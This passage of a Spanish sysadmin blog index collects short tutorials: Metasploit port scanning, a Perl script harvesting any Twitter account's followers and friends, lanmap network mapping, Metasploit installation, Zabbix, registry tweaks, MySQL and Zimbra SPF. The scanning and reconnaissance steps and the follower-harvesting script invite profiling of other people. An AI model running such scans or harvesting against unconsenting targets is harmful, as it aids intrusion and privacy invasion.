TIMEOUT      1000           The socket connect timeout in milliseconds
y finalmente ejecutarlo,
msf auxiliary(tcp)> run

[*] 192.168.1.210:22 - TCP OPEN
[*] 192.168.1.210:25 - TCP OPEN
[*] 192.168.1.7:22 - TCP OPEN
[*] 192.168.1.7:25 - TCP OPEN
[*] 192.168.1.210:80 - TCP OPEN
[*] 192.168.1.7:80 - TCP OPEN
[*] 192.168.1.7:443 - TCP OPEN
[*] 192.168.1.210:873 - TCP OPEN
[*] 192.168.1.7:873 - TCP OPEN
[*] 192.168.1.210:2583 - TCP OPEN
[*] 192.168.1.7:3306 - TCP OPEN
[*] 192.168.1.210:8009 - TCP OPEN
[*] 192.168.1.210:9102 - TCP OPEN
[*] 192.168.1.7:9102 - TCP OPEN
[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed
Una de las ventajas que presenta es que se puede indicar el número de thread's concurrentes a emplear y por lo tanto agilizar el escaneo de una red grande, por ejemplo.
Leer más

Listado de followers/friends en twitter

Twitter es una red social que sirve para compartir pequeñas noticias o enlaces y además sirve para otras muchas cosas, como aprender de relaciones sociales y obtener cierta información sobre 'amistades' de tu contactos o de otros contactos. Una de las cosas que está más de moda hoy en día son las gráficos de relaciones y poder saber a cuantos 'amigos' estás de otra persona. Twitter y linkedin sirven para hacer éste tipo de 'experimentos sociales'.
A continuación os dejo un pequeño trozo de código, escrito en perl, empelando la librería "Net::Twitter", disponible desde repositorios debian, para poder acceder a la lista de personas que te siguen o a las que sigues, pero también de otras cuentas.
#!/usr/bin/perl

use Net::Twitter;

unless($ARGV[0]){
  print "Usage: $0 {user}\n";
  exit 1;
}

my $myuser = $ARGV[0];

my $CONSUMER_KEY = 'XXXX';
my $CONSUMER_SECRET = 'XXXX';
my $ACCESS_KEY = 'XXXX';
my $ACCESS_SECRET = 'XXXX';

my $nt = Net::Twitter->new(
  traits              => [qw/OAuth API::REST/],
  consumer_key        => $CONSUMER_KEY,
  consumer_secret     => $CONSUMER_SECRET,
  access_token        => $ACCESS_KEY,
  access_token_secret => $ACCESS_SECRET,
);

print "List of followers:\n";

for (my $cursor = -1, my $r; $cursor; $cursor = $r->{next_cursor}){
  $r = $nt->followers({ screen_name=>$ARGV[0],cursor => $cursor });
  push @followers, @{ $r->{users} };

  for my $user (@followers){
    print "\t@".$user->{'screen_name'}." (".$user->{'name'}.")\n";
  }
}

print "\nList of friends:\n";

for(my $cursor = -1, my $r; $cursor; $cursor = $r->{next_cursor}){
  $r = $nt->friends({screen_name=>$ARGV[0],cursor=>$cursor});
  push @friends, @{ $r->{users} };

  for my $user (@friends){
    print "\t@".$user->{'screen_name'}." (".$user->{'name'}.")\n";
  }
}
El método de empleo es muy simple, tras configurar la autenticación OAuth sólo queda pasarle el nombre del usuario de Twitter del que deseas averiguar la lista de amigos y seguidores que tiene. Tras una breve espera, los tendrás.
shell> listado j_tlopez
List of followers:
 @fribadas (Francisco J. Ribadas)
 @trasno0 (Alex Pereiro)
 @iSepti (ivan)
 @pepellou (José Doval)
 ...

List of friends:
 @Snort (Snort)
 @googlereader (Google Reader)
 @Linux (Linux)
 @climagic (Command Line Magic)
 @googlecalendar (Google Calendar)
 ...
Qué hacer con esos datos y cómo explotarlos, de momento es cosa tuya ;-)
Leer más

Limpiar memoria swap en Windows

Cualquiera de las versiones de Windows trae por defecto configurado el uso del fichero pagefile.sys como fichero de intercambio o memoria swap. Si bien en GNU/Linux el sistema tiene la posibilidad de usar una de las particiones como tal, en Windows optaron por simplificar y emplear un fichero. En GNU/Linux también es posible usar ese tipo de ficheros.
Pues bien, en este tipo de ficheros se almacenan todas aquellas cosas que no cogen en la RAM del equipo y por lo tanto pueda darse el caso de que en un momento dado ahí haya contraseñas o datos de interés para un atacante. El problema está en que por defecto Windows no vacía o limpia este fichero cuando se apaga y si alguien accede a él, todo lo que tenía almacenado lo puede leer. Y lógicamente si hay contraseñas sin cifrar, se pueden leer. Para evitar que ésto suceda y Windows limpie la memoria de paginación cuando se apage, únicamente hay que editar el registro,
HKEY_LOCAL_MACHINE\
 |
 -SYSTEM\
  |
  -CurrentControlSet\
   |
   -Control\
    |
    -Session Manager\
     |
     -Memory Management
y establecer el valor de la clave 'ClearPageFileAtShutdown' a 1 (de tipo REG DWORD). Con ello, cada vez que el equipo se apague se purga la memoria.
Leer más

Comandos interesantes, lanmap


Jugando un poco con la distro backtrack descubro un nuevo comando/paquete que hace unas funciones cuando menos interesantes. De forma completamente automática nos dibuja un esquema de la red con todos y cada unos de los elementos de ésta que detecta (por IP y MAC). Aunque existe software que hace estas tareas, generalmente suele ser de pago y la verdad es que lanmap es muy bueno en lo suyo.

Actualemente existe la versión 2 de lanmap disponible para descarga desde git, pero su funcionamiento es algo más complejo, así que primero vamos con la versión 1, la inicial. Vamos a ver cómo instalarla, cómo usarla y el resultado final. Para ayudarnos en el proceso usaremos nmap, de forma que nuestro host pueda descubrir a los demás de forma más rápida.
  • Descarga e instalación
    Para comenzar, tenemos que descargar el software de la web oficial, ya que en las distribuciones actuales no está ya en los repositorios. Por lo tanto,
    shell> wget http://www.parseerror.com/lanmap/rev/lanmap-2006-03-07-rev81.zip
    
    Una vez descargado, lo descomprimimos y lo compilamos.
    shell> unzip lanmap-2006-03-07-rev81.zip
    shell> cd lanmap
    shell> chmod +x configure
    shell> ./configure
    shell> make
    shell> make install
    
    Tras esto ya tenemos perfectamente instalado lanmap para nuestro uso. Sólo decir que como requisitos tiene gcc, las libpcap y graphviz. Todos estos los podemos encontrar en los repositorios oficiales de nuestra distribución.
  • Uso
    Ahora toca usar el nuevo programa instalado. Para ello, partimos de la ayuda,
    shell> lanmap -h
    Usage: lanmap [options]
    Options:
     -v ............... verbose mode, up to 3 levels (-vv, -vvv)
     -i iface ......... interface to use;
     -r # ............. generate a report every # seconds. default: 60
     -D [#|all|raw] ... debug mode, tons of output. use with caution.
                          #: payload bytes to dump (default: 0)
     -f str ........... traffic filter; libpcap syntax
     -T [png|gif|svg] . output image format (default: png)
     -e program ....... program to run to generate graph
     -o directory ..... map destination (default ./)
     -V ............... program version info
     -h ............... this handy help message
    Example: lanmap -i eth0 -r 30 -T png -o /tmp/
    
    Pues una línea típica es la del ejemplo, que nos sirve perfectamente y creará un gráfico válido de nuestra red.
    shell> lanmap -i eth0 -r 15 -T png -o /home/javier/
    
    Para acelerar el proceso de descubrir nuevos hosts, podemos emplear nmap,
    shell> nmap -PS 192.168.1.0/24
    
    Y sólo queda esperar un tiempo para poder tener un gráfico válido.
  • Salida
    A continuación os muestro la salida obtenida.
Leer más

Metasploit framework: instalación

Metasploit Framework es una herramienta escrita en ruby para poder desarrollar y ejecutar exploits contra una máquina remota. Pertenece al conjunto de herramientas del proyecto Metasploit y para descubrir equipos con vulnerabilidades y explotarlas, es una perfecta herramienta. Incluye de base un gran número de exploit ya escritos y documentados que permiten realizar ataques ya conocidos.
Esta herramienta no está disponible desde los repositorios debian, por lo que para poder instalarla, existen dos formas. La primera, desde la web oficial descargando el *.run y ejecutándolo o la segunda, mediante svn.
Puesto que no hay paquete oficial, las dependencias las habría que instalar manualmente y las principales son, para sistemas debian/ubuntu, toda la paquetería de ruby (recordar que está escrito en ruby). Para otros sistemas, las dependencias son las mismas, lógicamente.
shell> apt-get install ruby libruby rdoc \
       libyaml-ruby libzlib-ruby libopenssl-ruby \
       libdl-ruby libreadline-ruby libiconv-ruby irb \
       rubygems sqlite3 libsqlite3-ruby libsqlite3-dev
A continuación, sólo hay que descargar la nueva última versión del instalador, disponible en su web oficial y aquí. Luego sólo queda instalarlo:
shell> sh metasploit-latest-linux-installer.run
De estar forma podemos tener instalada la última versión disponible empaquetada, pero lo ideal sería instalar metasploit desde su repositorio svn oficial. Para ello:
shell> apt-get install svn
shell> svn co http://metasploit.com/svn/framework3/trunk/ /opt/msf
shell> cd /opt/msf
shell> svn up
shell> ./msfconsole
       =[ metasploit v4.2.0-dev [core:4.2 api:1.0]
+ -- --=[ 757 exploits - 402 auxiliary - 114 post
+ -- --=[ 228 payloads - 27 encoders - 8 nops
       =[ svn r14201 updated today (2011.11.09)

msf >
En caso de que lo hubiésemos instalado desde el paquete oficial, también lo podríamos actualizar con svn o con el comando que tiene para hacerlo. En mi caso, está instalado en /opt/metasploit3/msf3 así que nos vamos allí y,
shell> svn up
En la revisión 14201.
o directamente empleando los métodos propios,
shell> ./msfupdate 
[*]
[*] Attempting to update the Metasploit Framework...
[*]

En la revisión 14201.
Por defecto, desde hace ya algunas versiones el listado de exploits, payloads, etc. los actualiza cada vez que se arranca metasploit.
Leer más

¿A qué paquete pertenece un fichero?

¿A qué paquete pertenece un fichero? Gracias al comando dpkg esta respuesta es muy simple. Si nos interesa saber a qué paquete pertenece un fichero que tenemos instalado en nuestro sistema, únicamente empleamos la opción -S y listo. Un ejemplo,
shell> dpkg -S puppetd
puppet: /usr/sbin/puppetd
puppet: /usr/share/man/man8/puppetd.8.gz
puppet: /usr/bin/puppetdoc
Por lo tanto si aparece un ejecutable que no pertenezca a ninguno de los paquetes que estén instalados en el sistema, habrá que ver de dónde ha salido.
Más trucos interesantes sobre dpkg, aquí.
Leer más

Zabbix: instalar agente en Windows

Zabbix permite monitorizar prácticamente todo tipo de equipos, ya que está escrito en C, por lo que es simple de compilar bajo cualquier plataforma. En caso de que una plataforma no esté soportada o no encuentres paquetes compilados, siempre los puedes hacer tú desde las fuentes. Sólo tienes que compilar el agente. Sin embargo, atendiendo a lo que nos atañe, vamos a ver cómo instalar Zabbix agent (1.8.x) en sistemas Windows. Para ello partimos de paquetes ya compilados y que podemos descargar de aquí. Concretamente, la última versión (a fecha de hoy) disponible es la 1.8.13.
Descargamos el zip y procedemos a su instalación. Antes de comenzar tenemos que crear el fichero de configuración para nuestro equipo. Para ello podemos crear la carpeta C:\zabbix\ y ahí crear el fichero zabbix_agentd.conf, con el siguiente contenido (a modo de ejemplo).
Server=192.168.1.5
Hostname=windows
ListenPort=10050
StartAgents=5
EnableRemoteCommands=1
DebugLevel=3
Timeout=3
La configuración es igual que bajo un equipo con GNU/Linux, así que el fichero es muy sencillo de crear. Tras ello, vamos desde la línea de comandos (cmd) a la carpeta donde hayamos descomprimido el zip bajado y ahí ejecutamos el binario llamado zabbix_agentd.exe.
cmd> zabbix_agentd.exe --help
Zabbix Agent Win32 (service) v1.8.3 (revision 13926) (16 August 2010)

usage: zabbix_agentd.exe [-Vhp] [-idsx] [-m] [-c ] [-t ]

Options:

  -c --config           Specify configuration file. Use absolute path
  -h --help             give this help
  -V --version          display version number
  -p --print            print supported metrics and exit
  -t --test             test specified metric and exit

Functions:

  -i --install          install Zabbix agent as service
  -d --uninstall        uninstall Zabbix agent from service
  -s --start            start Zabbix agent service
  -x --stop             stop Zabbix agent service
  -m --multiple-agents  service name will include hostname
Tras leer la ayuda vemos lo simple que puede resultar la instalación, así que procedemos. Para que todo funcione únicamente habrá que pasarle el fichero de configuración y la acción que deseemos realizar.
cmd> zabbix_agentd.exe -c "C:\zabbix\zabbix_agentd.conf" -i
zabbix_agentd.exe: Service "Zabbix Agent" installed successfully.
zabbix_agentd.exe: Event source "Zabbix Agent" installed successfully.
Una vez instalado, simplemente arrancamos el servicio y ya tenemos nuestro zabbix-agent funcionando en Windows.
cmd> zabbix_agentd.exe -c "C:\zabbix\zabbix_agentd.conf" -s
zabbix_agentd.exe: Service "Zabbix Agent" started successfully.

Nota: En caso de que deseemos desinstalar Zabbix de un equipo Windows, los pasos a seguir son los mismos, pero con las opciones de parada primero (-x) y de desinstalación (-d) después.
cmd> zabbix_agentd.exe -c "C:\zabbix\zabbix_agentd.conf" -x
zabbix_agentd.exe: Service "Zabbix Agent" stopped successfully.

cmd> zabbix_agentd.exe -c "C:\zabbix\zabbix_agentd.conf" -d
zabbix_agentd.exe: Service "Zabbix Agent" uninstalled successfully
zabbix_agentd.exe: Event source "Zabbix Agent" uninstalled successfully.
Leer más

Comandos interesantes, netstat-nat

Si estás manejando un firewalll bajo GNU/Linux, este post te interesa. Si tu equipo de firewall realizar conexiones NAT y DNAT, es decir, hace de router a Internet para una o varias LAN's, el comando netstat-nat te puede ser de mucha utilidad.
Primero lo vamos a instalar,
shell> apt-get install netstat-nat
netstat-nat ahora ofrece la posibilidad de ver las conexiones NAT que están pasando por nuestro equipo. De forma limpia y transparente podemos ver el origen y el destino de una conexión sin problema alguno. De la misma forma también podremos ver si una IP está saliendo através del NAT y hacia dónde o si una está entrando y hacia quién.
shell> netstat-nat -p tcp #filtro tcp
Proto  NATed Address      Destination Address             State 
tcp    10.10.103.2:51865  rsvd-casa-moneda-210.0.104:www  ESTABLISHED
tcp    10.10.103.6:60235  addons-star.zlb.phx.mozi:https  CLOSE      
tcp    10.10.103.7:1432   par08s10-in-f21.1e100.ne:https  ESTABLISHED
tcp    10.10.103.7:1998   213.216.147.161:www             ESTABLISHED
tcp    10.10.103.8:65295  cdn-87-248-221-253.yhnpar.lln:www  TIME_WAIT  
tcp    10.10.103.8:65263  147.128.60.178.static.mund:www  ESTABLISHED
tcp    10.10.103.8:65258  147.128.60.178.static.mund:www  ESTABLISHED
tcp    10.10.105.53:1267  r-199-59-148-9.twttr.com:www    ESTABLISHED
tcp    10.10.113.2:60333  sjc-not4.sjc.dropbox.com:www    ESTABLISHED
tcp    10.10.113.4:1831   cds177.par.llnw.net:www         ESTABLISHED

shell> netstat-nat -s 192.168.1.33 #filtro de origen
shell> netstat-nat -d 213.95.68.12 #filtro de destino
Para más información, man netstat-nat.
Leer más

Windows, bloquear ejecución de programas


En este post vamos a ver un pequeño truco fácil de aplicar y efectivo por si queremos evitar que un determinado usuario del un equipo ejecute un binario concreto. Windows, cómo no, trae también formas de hacerlo desde el registro. Sólo tendremos que crear una clave y un par de registros para tener todo solucionado. Luego, podemos impedir que el usuario ejecute regedit para modificarlo y ya lo tendremos solucioando.

Pues bien, comenzamos creando un archivo llamado DisallowRun de tipo DWORD y con valor 00000001 en,
HKEY_CURRENT_USER\
 |
 -Software\
  |
  -Microsoft\
   |
   -Windows\
    |
    -CurrentVersion\
     |
     -Policies\
      |
      -Explorer
Y a continuación en la misma ruta del registro, creamos una nueva clave (carpeta) llamada DisallowRun. A partir de ahí, podemos meter dentro de dicha carpeta todos aquellos valores de tipo REG_SZ que queramos. Cada valor contendrá un ejecutable de Windows al que se le impedirá el acceso. El nombre del fichero es numérico e incremental y el contenido, el nombre del ejecutable.
HKEY_CURRENT_USER\
 |
 -Software\
  |
  -Microsoft\
   |
   -Windows\
    |
    -CurrentVersion\
     |
     -Policies\
      |
      -Explorer
       |
       -DisallowRun
        |
        1: notepad.exe
        |
        2:vlc.exe
Si ahora un usuario quiere ejecutar alguno de esos dos binarios, le saldrá un mensaje de error, de que no puede hacerlo.
Nota: Para que los cambios surtan efecto hay que reiniciar el equipo.
Leer más

Consultas interesantes a MySQL

Muchas veces MySQL te puede sorprender con la información que almacena y que en muchos casos no sabes de que dispones. A continuación os dejo algunas de esas consultas que pueden resultar de interés para alguno, espero.



Listado de tablas con más de N número de filas

mysql> SELECT table_name as db, table_rows
  -> FROM information_schema.tables 
  -> WHERE table_rows > 1000
  -> AND table_schema not in('information_schema','performance_schema')
  -> ORDER BY table_rows desc;
+---------------------------+------------+
| db                        | table_rows |
+---------------------------+------------+
| zabbix.history            |  127073544 |
| zabbix.history_uint       |   58873482 |
| zabbix.trends_uint        |    1619018 |
| zabbix.trends             |    1310026 |
| zabbix.history_str        |     340954 |
| zabbix.housekeeper        |      50843 |
| zabbix.alerts             |      37877 |
| zabbix.events             |      32635 |
| zabbix.history_log        |      25757 |
| zabbix.items_applications |       1496 |
| zabbix.items              |       1014 |
+---------------------------+------------+
11 rows in set (1.67 sec)

Listado de accesos a una base de datos

mysql> SELECT grantee, privilege_type, is_grantable
  -> FROM information_schema.schema_privileges
  -> WHERE table_schema = 'zabbix';
+----------------------+----------------+--------------+
| grantee              | privilege_type | is_grantable |
+----------------------+----------------+--------------+
| 'zabbix'@'localhost' | SELECT         | NO           |
| 'zabbix'@'localhost' | INSERT         | NO           |
| 'zabbix'@'localhost' | UPDATE         | NO           |
| 'zabbix'@'localhost' | DELETE         | NO           |
| 'zabbix'@'localhost' | CREATE         | NO           |
| 'zabbix'@'localhost' | DROP           | NO           |
| 'zabbix'@'localhost' | REFERENCES     | NO           |
| 'zabbix'@'localhost' | INDEX          | NO           |
| 'zabbix'@'localhost' | ALTER          | NO           |
| 'zabbix'@'localhost' | LOCK TABLES    | NO           |
| 'zabbix'@'localhost' | EXECUTE        | NO           |
| 'zabbix'@'localhost' | CREATE VIEW    | NO           |
| 'zabbix'@'localhost' | SHOW VIEW      | NO           |
| 'zabbix'@'localhost' | CREATE ROUTINE | NO           |
| 'zabbix'@'localhost' | ALTER ROUTINE  | NO           |
| 'zabbix'@'localhost' | EVENT          | NO           |
| 'zabbix'@'localhost' | TRIGGER        | NO           |
+----------------------+----------------+--------------+
18 rows in set (0.00 sec)

Listado de base de datos + tabla que no tienen primary key

mysql> SELECT CONCAT(t.table_schema,'.',t.table_name) as table_name
  -> FROM information_schema.TABLES t
  -> LEFT JOIN information_schema.TABLE_CONSTRAINTS tc
  -> ON t.table_schema = tc.table_schema
  -> AND t.table_name = tc.table_name
  -> AND tc.constraint_type = 'PRIMARY KEY'
  -> WHERE tc.constraint_name IS NULL
  -> AND t.table_type = 'BASE TABLE'
  -> AND t.table_schema not in('information_schema','performance_schema');
+---------------------+
| table_name          |
+---------------------+
| zabbix.events       |
| zabbix.history      |
| zabbix.history_str  |
| zabbix.history_uint |
| zabbix.node_cksum   |
+---------------------+
5 rows in set (1.66 sec)
Leer más

Activar SPF en Zimbra

Zimbra es un estupendo servidor de correo con un interfaz atractivo y con un buen rendimiento, pero al igual que el resto de servidores, sufre problemas de spam. En algunos casos ésto puede llegar a ser molesto. Es por ello que hoy vamos a ver cómo configurar SPF en nuestro servidor Zimbra.
SPF (Sender Policy Framework) es un protocolo que intenta averiguar si un correo es SPAM mediante la consulta de un DNS, para así poder averiguar si el equipo origen del correo tiene o no derecho a enviar desde ese dominio. Explicándolo más lentamente, cuando un mail llega a nuestro servidor de correo, éste examinará las cabeceras del mismo y comprobará el origen. Posteriormente preguntará al servidor DNS del dominio origen si la IP que ha enviado el correo lo puede enviar o no. En caso afirmativo, pasa. En caso negativo, se queda.
El gran problema que está teniendo SPF para implantarse es que no llega con dar soporte en los servidores de correo, sino que también es necesaria una entrada "spf" en el servidor DNS, para así asegurarnos de que es válido. Por ejemplo si consultamos a Google, vemos que la tiene activa
shell> dig txt google.com
...
google.com.  3600  IN  TXT  "v=spf1 include:_netblocks.google.com ip4:216.73.93.70/31 ip4:216.73.93.72/31 ~all"
...
Pues bien, vamos a suponer que deseamos activar SPF en Zimbra. Primero vamos a comprobar que spamassassin tiene soporte para ello,
shell> grep SPF /opt/zimbra/conf/spamassassin/init.pre
loadplugin Mail::SpamAssassin::Plugin::SPF
Si tienes esta salida es que spamassassin tiene soporte para SPF, pero el problema suele ser que los sistemas (Ubuntu, Red Hat, etc.) no traen el módulo de perl necesario para que SPF funcione correctamente. Para instalarlo,
shell> apt-get install libmail-spf-query-perl spf-tools-perl
Con el módulo ya preparado para ser cargado, lo único que queda es reconfigurar correctamente spamassassin con la puntuación que se debe. Para ello editamos el fichero /opt/zimbra/conf/spamassassin/local.cf y agregamos por ejemplo,
score SPF_FAIL 12.000
score SPF_HELO_FAIL 12.000
score SPF_SOFTFAIL 5.000
Para ya finalizar, se reinicia Zimbra y se observa que la carga del módulo es correcta.
shell> zcontrol restart
shell> grep SPF zimbra.log
Sep 22 21:57:52 zimbra amavis[31739]: extra modules loaded after 
daemonizing/chrooting: Mail/SPF/Query.pm
Leer más

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios